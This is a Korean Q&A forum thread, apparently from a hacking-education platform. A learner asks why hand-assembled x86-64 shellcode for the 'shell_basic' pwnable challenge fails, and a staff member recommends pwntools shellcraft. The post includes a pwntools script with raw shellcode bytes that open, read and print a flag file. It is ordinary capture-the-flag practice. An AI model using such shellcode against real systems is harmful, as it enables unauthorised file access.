shellcode 전송하였는데도 아무 결과가 나오지 않습니다.

read / write하는 asm 코드를 짠 후 컴파일 후 로컬에서 테스트 해 보니, 해당 경로의 flag값을 읽어와 잘 출력하는 것을 확인하였습니다.
이를 dump를 이용해 run_sh 부분의 코드를 추출하여 아래와 같이 전송하였으나 아무런 결과가 나오지 않습니다.

동일한 방법으로 hello world를 출력하는 shellcode를 전송하였을때에는 잘 동작 하였습니다. (shellcode 전송의 문제는 아는것 같습니다.)

p=process('./shell_basic')
shellcode = b'\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x61\x6d\x65\x5f\x69\x50\x48\xb8\x63\x2f\x66\x6c\x61\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05'

p.send(shellcode)
p.interactive()
#pwnable
작성자 정보
답변 2
anous
대표 업적 없음

해결할 것 같습니다. objdump를 옮기는 과정에서 실수를 했네요..
혹시 objdump로 추출한 hex 값을 shellcode로 전송할 수 있도록 한 줄로 만들 수 있는 tool이 있을까요?

2022.04.06. 09:59
avatar
Dreamhack
대표 업적 없음

안녕하세요,
말씀하신 툴은 보편적으로는 없어서 사람이 그때그때 구현해서 옮기는 방식이 보통입니다.
이번 강의에서는 shellcode 를 직접 구현해보고 컴파일해보는 과정을 배우기 위한 것이었고,
이후에는 보통 python pwntools의 shellcraft 라는 모듈을 이용해서 쉽게 shellcode를 작성하실 수 있습니다.

2022.04.06. 10:08
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기